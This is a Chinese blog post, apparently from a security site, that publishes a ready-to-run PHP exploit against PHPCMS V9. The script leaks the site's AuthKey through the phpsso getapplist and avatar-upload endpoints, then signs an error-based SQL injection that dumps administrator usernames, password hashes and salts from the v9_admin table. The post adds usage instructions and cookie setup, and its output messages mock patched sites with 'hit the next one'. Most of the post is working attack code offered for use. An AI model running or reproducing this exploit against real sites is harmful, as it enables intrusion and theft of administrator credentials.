昨天小站发布了PHPCMSV9 AuthKey泄露导致SQL注入的文章,熟悉本站的兄弟们都知道,今天可能就会发布EXP了,恭喜你,又猜对了。
好久没有写PHP版的EXP了,这次再写就已经基本忘光了,唉,花了好久的时间呀,最终还是完成了。
其实使用昨天的那个中转脚本已经完全够用了,今天发布的这个是给懒人用的,先给个图吧。。。
PHPCMSV9 AuthKey注入EXP
array( 'method' => "GET", 'timeout' => 30, 'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" . "Cookie: $cookie\r\n" ) ); //核心代码,注入获取管理员账号及密码 $sql_admin = sql_inject(); $count = count($sql_admin); if ($count != 0) { echo '恭喜大爷,成功获取到[ ' . $count . ' ]个管理员账号!' . "\n\n"; foreach ($sql_admin as $num => $admin) { echo '管理员' . ($num + 1) . '=>' . $admin . PHP_EOL; } } else { exit('杯具了大爷,此站漏洞已经修补,请秒下一个!'); } //获取authkey函数 function authkey() { global $opts; $authkey = ''; global $domain, $cookie; $crack_url = $domain . '/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V'; $context = stream_context_create($opts); $crack_key = file_get_contents($crack_url, false, $context); if (preg_match('/s:32:"(.*?)";/', $crack_key, $match)) { echo '成功获取到AuthKey_1:' . $match[1] . "\n\n"; $authkey = $match[1]; } else { $avatar_url = $domain . '/index.php?m=member&c=index&a=account_manage_avatar&t=1'; $upurl = file_get_contents($avatar_url, false, $context); if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) { $key_url = base64_decode($match[1]); $key_url = str_replace('uploadavatar', 'getapplist', $key_url); $auth_url = file_get_contents($key_url, false, $context); if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) { echo '成功获取到AuthKey_2:' . $au_match[1] . "\n\n"; $authkey = $au_match[1]; } } } return $authkey; } //SQL注入函数 function sql_inject() { global $domain, $opts; $limit = 10; //默认显示多少个管理员账号 $admin = array(); $key = authkey(); $context = stream_context_create($opts); for ($i = 0; $i <= $limit; $i++) { $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select ( SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key); $target = $domain . '/api.php?op=phpsso&code=' . $code; $content = file_get_contents($target, false, $context); if (preg_match('/~(.+?)~1/', $content, $match)) { $admin[] = $match[1]; } else { break; } } return $admin; } //phpcms authkey加密函数 function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++) { $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if ($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } //时间统计函数 function func_time() { list($microsec, $sec) = explode(' ', microtime()); return $microsec + $sec; } echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';
使用方法:
Example: php phpcmsv9_authkey_exp.php http://www.waitalone.cn/
由于获取AuthKey需要注册用户并登录,请在使用脚本前先把你登录以后的cookie写入脚本中,可能的话把User-Agent也改成你自己的吧。
脚本都添加了注释,有不明白在此留言,我会回复你的。。
2015/11/06更新EXP,增加不需要登录获取authkey的方法,有需要的拿去。
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论